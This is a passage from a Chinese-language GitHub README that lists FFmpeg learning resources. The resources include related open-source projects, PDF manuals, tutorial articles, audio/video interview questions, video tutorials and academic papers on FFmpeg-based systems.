是基于ffmpeg n4.0-39-gda39990编译运行在android平台的音视频的处理框架， 使用的是ProcessBuilder执行命令行操作， 可实现视频字幕添加、尺寸剪切、添加或去除水印、时长截取、转GIF动图、涂鸦、音频提取、拼接、质量压缩、加减速、涂鸦、 倒放、素描、色彩平衡、模糊、九宫格、添加贴纸、滤镜、分屏、图片合成视频等,音视频合成、截取、拼接，混音、音视频解码，视频特效等等音视频处理... - [yangjie10930/EpMediaDemo](https://github.com/yangjie10930/EpMediaDemo): 基于FFmpeg开发的视频处理框架，简单易用，体积小，帮助使用者快速实现视频处理功能。包含以下功能：剪辑，裁剪，旋转，镜像，合并，分离，添加LOGO，添加滤镜，添加背景音乐，加速减速视频，倒放音视频。简单的Demo,后面逐渐完善各类功能的使用。 - [qingkouwei/oarplayer](https://github.com/qingkouwei/oarplayer): Android Rtmp播放器,基于MediaCodec与srs-librtmp,不依赖ffmpeg - [goldvideo/decoder_wasm](https://github.com/goldvideo/decoder_wasm): 借助于WebAssembly技术，基于ffmpeg的H.265解码器。 - [HeZhang1994/video-audio-tools](https://github.com/HeZhang1994/video-audio-tools): To process/edit video and audio with Python+FFmpeg. [简单实用] 基于Python+FFmpeg的视频和音频的处理/剪辑。 - [jordiwang/web-capture](https://github.com/jordiwang/web-capture): 基于 ffmpeg + Webassembly 实现前端视频帧提取 - [ccj659/NDK-FFmpeg-master](https://github.com/ccj659/NDK-FFmpeg-master): Video and audio decoding based with FFmpeg 基于ffmpeg的 视频解码 音频解码.播放等 - [kolyvan/kxmovie](https://github.com/kolyvan/kxmovie):iOS电影播放器使用ffmpeg - [CainKernel/CainCamera](https://github.com/CainKernel/CainCamera):一个关于美容相机、图像和短视频开发的Android项目 - [mifi/lossless-cut](https://github.com/mifi/lossless-cut): 一个基于FFmpeg的无损剪辑软件 ## 📂 典藏文档 - [AAC解码算法原理详解](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E6%96%87%E6%A1%A3%E5%BA%93/AAC%E8%A7%A3%E7%A0%81%E7%AE%97%E6%B3%95%E5%8E%9F%E7%90%86%E8%AF%A6%E8%A7%A3.pdf) - [FFMPEG教程完美排版](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E6%96%87%E6%A1%A3%E5%BA%93/FFMPEG%E6%95%99%E7%A8%8B%E5%AE%8C%E7%BE%8E%E6%8E%92%E7%89%88.pdf) - [FFMpeg-SDK-开发手册](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E6%96%87%E6%A1%A3%E5%BA%93/FFMpeg-SDK-%E5%BC%80%E5%8F%91%E6%89%8B%E5%86%8C.pdf) - [FFmpeg Basics](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E6%96%87%E6%A1%A3%E5%BA%93/FFmpeg%20Basics.pdf) - [ffmpeg(libav)解码全解析(带书签)](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E6%96%87%E6%A1%A3%E5%BA%93/ffmpeg(libav)%E8%A7%A3%E7%A0%81%E5%85%A8%E8%A7%A3%E6%9E%90(%E5%B8%A6%E4%B9%A6%E7%AD%BE).pdf) - [ffmpeg的tutorial中文版](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E6%96%87%E6%A1%A3%E5%BA%93/ffmpeg%E7%9A%84tutorial%E4%B8%AD%E6%96%87%E7%89%88.pdf) - [ffmpeg中文文档](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E6%96%87%E6%A1%A3%E5%BA%93/ffmpeg%E7%9A%84%E4%B8%AD%E6%96%87%E6%96%87%E6%A1%A3.pdf) - [详解FFMPEG API](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E6%96%87%E6%A1%A3%E5%BA%93/%E8%AF%A6%E8%A7%A3FFMPEG%20API.pdf) - [ffmpeg常用命令参数详解](https://github.com/0voice/ffmpeg_develop_doc/blob/main/ffmpeg%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4.md) - [ffmepg整体分析](https://github.com/0voice/ffmpeg_develop_doc/blob/main/ffmepg%E6%95%B4%E4%BD%93%E5%88%86%E6%9E%90.pdf) ## 📃 文章 - [FFmpeg 学习(一)：FFmpeg 简介](https://github.com/0voice/ffmpeg_develop_doc/blob/main/FFmpeg%20%E5%AD%A6%E4%B9%A0(%E4%B8%80)%EF%BC%9AFFmpeg%20%E7%AE%80%E4%BB%8B%20.md) - [FFmpeg 学习(二)：Mac下安装FFmpepg](https://github.com/0voice/ffmpeg_develop_doc/blob/main/FFmpeg%20%E5%AD%A6%E4%B9%A0(%E4%BA%8C)%EF%BC%9AMac%E4%B8%8B%E5%AE%89%E8%A3%85FFmpeg.md) - [FFmpeg 学习(三)：将 FFmpeg 移植到 Android平台](https://github.com/0voice/ffmpeg_develop_doc/blob/main/FFmpeg%20%E5%AD%A6%E4%B9%A0(%E4%B8%89)%EF%BC%9A%E5%B0%86%20FFmpeg%20%E7%A7%BB%E6%A4%8D%E5%88%B0%20Android%E5%B9%B3%E5%8F%B0.md) - [FFmpeg 学习(四)：FFmpeg API 介绍与通用 API 分析](https://github.com/0voice/ffmpeg_develop_doc/blob/main/FFmpeg%20%E5%AD%A6%E4%B9%A0(%E5%9B%9B)%EF%BC%9AFFmpeg%20API%20%E4%BB%8B%E7%BB%8D%E4%B8%8E%E9%80%9A%E7%94%A8%20API%20%E5%88%86%E6%9E%90.md) - [FFmpeg 学习(五)：FFmpeg 编解码 API 分析](https://github.com/0voice/ffmpeg_develop_doc/blob/main/FFmpeg%20%E5%AD%A6%E4%B9%A0(%E4%BA%94)%EF%BC%9AFFmpeg%20%E7%BC%96%E8%A7%A3%E7%A0%81%20API%20%E5%88%86%E6%9E%90.md) - [FFmpeg 学习(六)：FFmpeg 核心模块 libavformat 与 libavcodec 分析](https://github.com/0voice/ffmpeg_develop_doc/blob/main/FFmpeg%20%E5%AD%A6%E4%B9%A0(%E5%85%AD)%EF%BC%9AFFmpeg%20%E6%A0%B8%E5%BF%83%E6%A8%A1%E5%9D%97%20libavformat%20%E4%B8%8E%20libavcodec%20%E5%88%86%E6%9E%90.md) - [FFmpeg 学习(七)：FFmpeg 学习整理总结](https://github.com/0voice/ffmpeg_develop_doc/blob/main/FFmpeg%20%E5%AD%A6%E4%B9%A0(%E4%B8%83)%EF%BC%9AFFmpeg%20%E5%AD%A6%E4%B9%A0%E6%95%B4%E7%90%86%E6%80%BB%E7%BB%93.md) <br> - [FFmpeg 结构体学习(一)： AVFormatContext 分析](https://github.com/0voice/ffmpeg_develop_doc/blob/main/FFmpeg%20%E7%BB%93%E6%9E%84%E4%BD%93%E5%AD%A6%E4%B9%A0(%E4%B8%80)%EF%BC%9A%20AVFormatContext%20%E5%88%86%E6%9E%90.md) - [FFmpeg 结构体学习(二)： AVStream 分析](https://github.com/0voice/ffmpeg_develop_doc/blob/main/FFmpeg%20%E7%BB%93%E6%9E%84%E4%BD%93%E5%AD%A6%E4%B9%A0(%E4%BA%8C)%EF%BC%9A%20AVStream%20%E5%88%86%E6%9E%90.md) - [FFmpeg 结构体学习(三)： AVPacket 分析](https://github.com/0voice/ffmpeg_develop_doc/blob/main/FFmpeg%20%E7%BB%93%E6%9E%84%E4%BD%93%E5%AD%A6%E4%B9%A0(%E4%B8%89)%EF%BC%9A%20AVPacket%20%E5%88%86%E6%9E%90.md) - [FFmpeg 结构体学习(四)： AVFrame 分析](https://github.com/0voice/ffmpeg_develop_doc/blob/main/FFmpeg%20%E7%BB%93%E6%9E%84%E4%BD%93%E5%AD%A6%E4%B9%A0(%E5%9B%9B)%EF%BC%9A%20AVFrame%20%E5%88%86%E6%9E%90.md) - [FFmpeg 结构体学习(五)： AVCodec 分析](https://github.com/0voice/ffmpeg_develop_doc/blob/main/FFmpeg%20%E7%BB%93%E6%9E%84%E4%BD%93%E5%AD%A6%E4%B9%A0(%E4%BA%94)%EF%BC%9A%20AVCodec%20%E5%88%86%E6%9E%90.md) - [FFmpeg 结构体学习(六)： AVCodecContext 分析](https://github.com/0voice/ffmpeg_develop_doc/blob/main/FFmpeg%20%E7%BB%93%E6%9E%84%E4%BD%93%E5%AD%A6%E4%B9%A0(%E5%85%AD)%EF%BC%9A%20AVCodecContext%20%E5%88%86%E6%9E%90.md) - [FFmpeg 结构体学习(七)： AVIOContext 分析](https://github.com/0voice/ffmpeg_develop_doc/blob/main/FFmpeg%20%E7%BB%93%E6%9E%84%E4%BD%93%E5%AD%A6%E4%B9%A0(%E4%B8%83)%EF%BC%9A%20AVIOContext%20%E5%88%86%E6%9E%90.md) - [FFmpeg 结构体学习(八)：FFMPEG中重要结构体之间的关系](https://github.com/0voice/ffmpeg_develop_doc/blob/main/FFmpeg%20%E7%BB%93%E6%9E%84%E4%BD%93%E5%AD%A6%E4%B9%A0(%E5%85%AB)%EF%BC%9AFFMPEG%E4%B8%AD%E9%87%8D%E8%A6%81%E7%BB%93%E6%9E%84%E4%BD%93%E4%B9%8B%E9%97%B4%E7%9A%84%E5%85%B3%E7%B3%BB.md) <br> - [Linux上的ffmpeg完全使用指南](https://github.com/0voice/ffmpeg_develop_doc/blob/main/Linux%E4%B8%8A%E7%9A%84ffmpeg%E5%AE%8C%E5%85%A8%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97.md) - [3个重点，20个函数分析，浅析FFmpeg转码过程](https://github.com/0voice/ffmpeg_develop_doc/blob/main/3%E4%B8%AA%E9%87%8D%E7%82%B9%EF%BC%8C20%E4%B8%AA%E5%87%BD%E6%95%B0%E5%88%86%E6%9E%90%EF%BC%8C%E6%B5%85%E6%9E%90FFmpeg%E8%BD%AC%E7%A0%81%E8%BF%87%E7%A8%8B.md) ## 🌅 面试题 ##### [1. 为什么巨大的原始视频可以编码成很小的视频呢?这其中的技术是什么呢?](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_001) ##### [2. 怎么做到直播秒开优化？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_002) ##### [3. 直方图在图像处理里面最重要的作用是什么？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_003) ##### [4. 数字图像滤波有哪些方法？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_004) ##### [5. 图像可以提取的特征有哪些？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_005) ##### [6. 衡量图像重建好坏的标准有哪些？怎样计算？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_006) ##### [7. AAC和PCM的区别？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_007) ##### [8. H264存储的两个形态？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_008) ##### [9. FFMPEG：图片如何合成视频？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_009) ##### [10. 常见的音视频格式有哪些？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_010) ##### [11. 请指出“1080p”的意义？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_011) ##### [12. 请解释颜色的本质及其数字记录原理，并说出几个你所知道的色域。](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_012) ##### [13. 请解释“矢量图”和“位图”的区别？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_013) ##### [14. 请从“光圈”“快门速度”“感光度”“白平衡”“景深”中任选2个进行叙述？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_014) ##### [15. 视频分量YUV的意义及数字化格式？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_015) ##### [16. 在MPEG标准中图像类型有哪些？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_016) ##### [17. 列举一些音频编解码常用的实现方案？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_017) ##### [18. 请叙述MPEG视频基本码流结构？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_018) ##### [19. sps和pps的区别？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_019) ##### [20. 请叙述AMR基本码流结构？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_020) ##### [21. 预测编码的基本原理是什么？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_021) ##### [22. 说一说ffmpeg的数据结构？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_022) ##### [23. 说一说AVFormatContext 和 AVInputFormat之间的关系？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_023) ##### [24. 说一说AVFormatContext, AVStream和AVCodecContext之间的关系？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_024) ##### [25. 说一说视频拼接处理步骤？（细节处理，比如分辨率大小不一，时间处理等等）](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_025) ##### [26. NV21如何转换成I420？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_026) ##### [27. DTS与PTS共同点？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_027) ##### [28. 影响视频清晰度的指标有哪些？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_028) ##### [29. 编解码处理时遇到什么困难？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_029) ##### [30. 如何秒开视频？什么是秒开视频？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_030) ##### [31. 如何降低延迟？如何保证流畅性？如何解决卡顿？解决网络抖动？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_031) ##### [32. 需要把网络上一段视频存储下来（比如作为mp4 ), 请实现并说出方法（第一个视频需要翻墙才能进）？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_032) ##### [33. 需要把网络上一段语音存储下来（比如作为mp3 ), 请实现并说出方法？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_033) ##### [34. 为什么要有YUV这种数据出来？（YUV相比RGB来说的优点）](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_034) ##### [35. H264/H265有什么区别？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_035) ##### [36. 视频或者音频传输，你会选择TCP协议还是UDP协议？为什么？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_036) ##### [37. 平时说的软解和硬解，具体是什么？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_037) ##### [38. 何为直播？何为点播？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_038) ##### [39. 简述推流、拉流的工作流程？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_039) ##### [40. 如何在直播中I帧间隔设置、与帧率分辨率选定？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_040) ##### [41. 直播推流中推I帧与推非I帧区别是什么？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_041) ##### [42. 常见的直播协议有哪些？之间有什么区别？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_042) ##### [43. 点播中常见的数据传输协议主要有哪些？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_043) ##### [44. RTMP、HLS协议各自的默认端口号是？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_044) ##### [45. 简述RTMP协议，如何封装RTMP包？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_045) ##### [46. m3u8构成是？直播中m3u8、ts如何实时更新？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_046) ##### [47. 何为音视频同步，音视频同步是什么标准？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_047) ##### [48. 播放器暂停、快进快退、seek、逐帧、变速怎么实现？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_048) ##### [49. 说说你平时在播放过程中做的优化工作？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_049) ##### [50. 你研究过哪些具体的流媒体服务器，是否做过二次开发？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/001-README.md#subject_050) ##### [51. 什么是GOP?](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/002-README.md#subject_051) ##### [52. 音频测试的测试点,音频时延如何测试?](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/002-README.md#subject_052) ##### [53. 美颜的实现原理，具体实现步骤?](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/002-README.md#subject_053) ##### [54. 如何直播APP抓包过来的文件，如何过滤上行，下行，总码率？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/002-README.md#subject_054) ##### [55. 如何测试一个美颜挂件？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/002-README.md#subject_055) ##### [56. 为什么要用FLV？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/002-README.md#subject_056) ##### [57. 如何测试一个美颜挂件？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/002-README.md#subject_057) ##### [58. 平常的视频格式？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/002-README.md#subject_058) ##### [59. 何为homebrew？你用它安装过什么？常用命令有哪些？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/002-README.md#subject_059) ##### [60. RTMP、HLS协议各自的默认端口号是？](https://github.com/0voice/ffmpeg_develop_doc/blob/main/case_interview/002-README.md#subject_060) ## 🧿 视频 ### 国外大神 No.|title :------- | :--------------- 1|[如何使用FFMPEG将MP4视频文件转换为GIF](https://www.0voice.com/uiwebsite/audio_video_streaming/video/001-如何使用FFMPEG将MP4视频文件转换为GIF.mp4) 2|[FFMPEG Introduction & Examples](https://www.0voice.com/uiwebsite/audio_video_streaming/video/002-FFMPEG%20Introduction%20%26%20Examples.mp4) 3|[Live Streaming with Nginx and FFmpeg](https://www.0voice.com/uiwebsite/audio_video_streaming/video/003-Live%20Streaming%20with%20Nginx%20and%20FFmpeg.mp4) 4|[Ep2 Ffmpeg Nginx & Nginx-Rtmp-Module Streaming to Server](https://www.0voice.com/uiwebsite/audio_video_streaming/video/004-Ep2%20Ffmpeg%20Nginx%20%26%20Nginx-Rtmp-Module%20Streaming%20to%20Server.mp4) 5|[Streaming an IP Camera to a Web Browser using FFmpeg](https://www.0voice.com/uiwebsite/audio_video_streaming/video/005-Streaming%20an%20IP%20Camera%20to%20a%20Web%20Browser%20using%20FFmpeg.mp4) 6|[Easy Screencasting and Webcamming with ffmpeg in Linux](https://www.0voice.com/uiwebsite/audio_video_streaming/video/006-Easy%20Screencasting%20and%20Webcamming%20with%20ffmpeg%20in%20Linux.mp4) 7|[Streaming an IP Camera to a Web Browser using FFmpeg](https://www.0voice.com/uiwebsite/audio_video_streaming/video/007-Streaming%20an%20IP%20Camera%20to%20a%20Web%20Browser%20using%20FFmpeg.mp4) 8|[FFMPEG Advanced Techniques Pt2 - Filtergraphs & Timeline](https://www.0voice.com/uiwebsite/audio_video_streaming/video/008-FFMPEG%20Advanced%20Techniques%20Pt2%20-%20Filtergraphs%20%26%20Timeline.mp4) 9|[Convert HEVCh265 mkv video to AVCh264 mp4 with ffmpeg](https://www.0voice.com/uiwebsite/audio_video_streaming/video/009-Convert%20HEVCh265%20mkv%20video%20to%20AVCh264%20mp4%20with%20ffmpeg.mp4) 10|[How to add soft subtitles( srt subrip) to mp4 video using ffmpeg](https://www.0voice.com/uiwebsite/audio_video_streaming/video/010-How%20to%20add%20soft%20subtitles(%20srt%20subrip)%20to%20mp4%20video%20using%20ffmpeg.mp4) 11|[FFmpeg Processing multiple video files by using.bat file](https://www.0voice.com/uiwebsite/audio_video_streaming/video/011-FFmpeg%20Processing%20multiple%20video%20files%20by%20using.bat%20file.mp4) 12|[Opensource Multimedia Framework -- FFmpeg](https://www.0voice.com/uiwebsite/audio_video_streaming/video/012-Opensource%20Multimedia%20Framework%20--%20FFmpeg.mp4) 13|[rtsp streaming node js ip camera jsmpeg](https://www.0voice.com/uiwebsite/audio_video_streaming/video/013-rtsp%20streaming%20node%20js%20ip%20camera%20jsmpeg.mp4) 14|[H.265 RTSP Streaming to VLC + NewTek NDI Integration](https://www.0voice.com/uiwebsite/audio_video_streaming/video/014-H.265%20RTSP%20Streaming%20to%20VLC%20+%20NewTek%20NDI%20Integration.mp4) 15|[IP camera stream using RTSP and openCV python](https://www.0voice.com/uiwebsite/audio_video_streaming/video/015-IP%20camera%20stream%20using%20RTSP%20and%20openCV%20python.mp4) 16|[NAT Traversal & RTSP](https://www.0voice.com/uiwebsite/audio_video_streaming/video/016-NAT%20Traversal%20%26%20RTSP.mp4) 17|[Simple client et serveur de Streaming RTSP MJPEG(JAVA SE)](https://www.0voice.com/uiwebsite/audio_video_streaming/video/017-Simple%20client%20et%20serveur%20de%20Streaming%20RTSP%20MJPEG(JAVA%20SE).mp4) 18|[Build Your First WebRTC Video Chat App](https://www.0voice.com/uiwebsite/audio_video_streaming/video/018-Build%20Your%20First%20WebRTC%20Video%20Chat%20App.mp4) 19|[P2P Video Chat with JavaScript/WebRTC](https://www.0voice.com/uiwebsite/audio_video_streaming/video/019-P2P%20Video%20Chat%20with%20JavaScript%20WebRTC.mp4) 20|[Building a WebRTC app - LIVE](https://www.0voice.com/uiwebsite/audio_video_streaming/video/020-Building%20a%20WebRTC%20app%20-%20LIVE.mp4) 21|[Zoom vs WebRTC](https://www.0voice.com/uiwebsite/audio_video_streaming/video/021-Zoom%20vs%20WebRTC.mp4) 22|[Architectures for a kickass WebRTC application](https://www.0voice.com/uiwebsite/audio_video_streaming/video/022-Architectures%20for%20a%20kickass%20WebRTC%20application.mp4) 23|[(REACT NATIVE) - integrate webRTC](https://www.0voice.com/uiwebsite/audio_video_streaming/video/023-(REACT%20NATIVE)%20-%20integrate%20webRTC.mp4) 24|[How to build Serverless Video Chat App using Firebase and WebRTC in React](https://www.0voice.com/uiwebsite/audio_video_streaming/video/024-How%20to%20build%20Serverless%20Video%20Chat%20App%20using%20Firebase%20and%20WebRTC%20in%20React.mp4) 25|[Implementation Lessons using WebRTC in Asterisk](https://www.0voice.com/uiwebsite/audio_video_streaming/video/025-Implementation%20Lessons%20using%20WebRTC%20in%20Asterisk.mp4) ### 国内大佬 No.|title | 地址 :------- | :---------------| :--------------- 26|windows ffmpeg命令行环境搭建|[百度网盘](https://pan.baidu.com/s/1eCQ7o3gcuU06k6-ZcXUASQ) 提取码：i3f2 27|FFMPEG如何查询命令帮助文档|[百度网盘](https://pan.baidu.com/s/1oA2OErmfZZpEEY_wRQrl_A) 提取码：9mqk 28|ffmpeg音视频处理流程|[百度网盘](https://pan.baidu.com/s/1jSIop6IUtxOwkse7xnCI7Q) 提取码：azx3 29|ffmpeg命令分类查询|[百度网盘](https://pan.baidu.com/s/1VGwop_lOJozEh_gYpKYkrw) 提取码：odhc 30|ffplay播放控制|[百度网盘](https://pan.baidu.com/s/1BbKQvJdokQrazoNtYjhA2Q) 提取码：e51s 31|ffplay命令选项(上)|[百度网盘](https://pan.baidu.com/s/1upOGZQdmXyiZbWO1LBcTCQ) 提取码：n1zx 32|ffplay命令选项(下)|[百度网盘](https://pan.baidu.com/s/1d55H9PyK1CU9Nfu37NIBhw) 提取码：rtn0 33|ffplay命令播放媒体|[百度网盘](https://pan.baidu.com/s/1FjJnW8eBZxsKIIdvbh0f-A) 提取码：bs9s 34|ffplay简单过滤器|[百度网盘](https://pan.baidu.com/s/1YlkCGIMH62Wj0-OTRLxDkA) 提取码：r4rk 35|ffmpeg命令参数说明|[百度网盘](https://pan.baidu.com/s/1aOL7vXnspVAh-iNYsz_5xA) 提取码：5q18 36|ffmpeg命令提取音视频数据|[百度网盘](https://pan.baidu.com/s/1Zlv_6a-O9Fj9HFpt9S6Z5g) 提取码：v807 37|ffmpeg命令提取像素格式和PCM数据|[百度网盘](https://pan.baidu.com/s/1Z1cdwVexIvAiyCQNPA0k3A) 提取码：az9x 38|ffmpeg命令转封装|[百度网盘](https://pan.baidu.com/s/1TxZpe2RicrGWgZPhi81E2g) 提取码：s7ez 39|fmpeg命令裁剪和合并视频|[百度网盘](https://pan.baidu.com/s/1W8b_krHc3PzAfoRXneS2Wg) 提取码：6g0g 40|fmpeg命令图片与视频互转|[百度网盘](https://pan.baidu.com/s/1nHhhA3y8dHneFVfNoY_fHg) 提取码：a3p5 41|ffmpeg命令视频录制|[百度网盘](https://pan.baidu.com/s/1zGz_P34GHKE5KVt_b8bT3w) 提取码：em7b 42|ffmpeg命令直播(上)|[百度网盘](https://pan.baidu.com/s/1rtCfJWWaanK6Syk2254h2g) 提取码：ilxz 43|ffmpeg命令直播(下)|[百度网盘](https://pan.baidu.com/s/1mo7vo4d_ghqrue7gzE0M1g) 提取码：akyr 44|ffmpeg过滤器-裁剪|[百度网盘](https://pan.baidu.com/s/1vuQLx_ff8ZnlStxX2aOeXA) 提取码：toii 45|ffmpeg过滤器-文字水印|[百度网盘](https://pan.baidu.com/s/1YilCkZg99xhwEQBwjenWKQ) 提取码：unuu 46|ffmpeg过滤器-图片水印|[百度网盘](https://pan.baidu.com/s/11VFsXn-c8e9GZ3Wy4M8hAA) 提取码：mw4v 47|ffmpeg过滤器-画中画|[百度网盘](https://pan.baidu.com/s/1TFiR47qhPTHAzbSQhatEBA) 提取码：c6fc 48|ffmpeg过滤器-多宫格|[百度网盘](https://pan.baidu.com/s/1Ib73MtuqgaFoECuSrzOApQ) 提取码：aioi 49|SRS流媒体服务器实战(上)|[百度网盘](https://pan.baidu.com/s/1kZTa5-0kfCcdMiObpJdOfQ) 提取码：4134 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[基于FFMPEG的视频转换系统](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8EFFMPEG%E7%9A%84%E8%A7%86%E9%A2%91%E8%BD%AC%E6%8D%A2%E7%B3%BB%E7%BB%9F.pdf) [基于FFMPEG的跨平台视频编解码研究](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8EFFMPEG%E7%9A%84%E8%B7%A8%E5%B9%B3%E5%8F%B0%E8%A7%86%E9%A2%91%E7%BC%96%E8%A7%A3%E7%A0%81%E7%A0%94%E7%A9%B6.pdf) [基于FFMPEG解码的音视频同步实现](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8EFFMPEG%E8%A7%A3%E7%A0%81%E7%9A%84%E9%9F%B3%E8%A7%86%E9%A2%91%E5%90%8C%E6%AD%A5%E5%AE%9E%E7%8E%B0.pdf) [基于FFMpeg的稳定应用层组播流媒体直播系统研究](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8EFFMpeg%E7%9A%84%E7%A8%B3%E5%AE%9A%E5%BA%94%E7%94%A8%E5%B1%82%E7%BB%84%E6%92%AD%E6%B5%81%E5%AA%92%E4%BD%93%E7%9B%B4%E6%92%AD%E7%B3%BB%E7%BB%9F%E7%A0%94%E7%A9%B6.pdf) [基于FFmpeg和SDL的智能录屏及播放系统](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8EFFmpeg%E5%92%8CSDL%E7%9A%84%E6%99%BA%E8%83%BD%E5%BD%95%E5%B1%8F%E5%8F%8A%E6%92%AD%E6%94%BE%E7%B3%BB%E7%BB%9F.pdf) [基于FFmpeg和SDL的视频流播放存储研究综述](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8EFFmpeg%E5%92%8CSDL%E7%9A%84%E8%A7%86%E9%A2%91%E6%B5%81%E6%92%AD%E6%94%BE%E5%AD%98%E5%82%A8%E7%A0%94%E7%A9%B6%E7%BB%BC%E8%BF%B0.pdf) [基于FFmpeg的H.264解码器实现](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8EFFmpeg%E7%9A%84H.264%E8%A7%A3%E7%A0%81%E5%99%A8%E5%AE%9E%E7%8E%B0.pdf) [基于FFmpeg的网络视频监控系统的设计与实现](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8EFFmpeg%E7%9A%84%E7%BD%91%E7%BB%9C%E8%A7%86%E9%A2%91%E7%9B%91%E6%8E%A7%E7%B3%BB%E7%BB%9F%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.pdf) [基于FFmpeg的视频转码与保护系统的设计与实现](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8EFFmpeg%E7%9A%84%E8%A7%86%E9%A2%91%E8%BD%AC%E7%A0%81%E4%B8%8E%E4%BF%9D%E6%8A%A4%E7%B3%BB%E7%BB%9F%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.pdf) 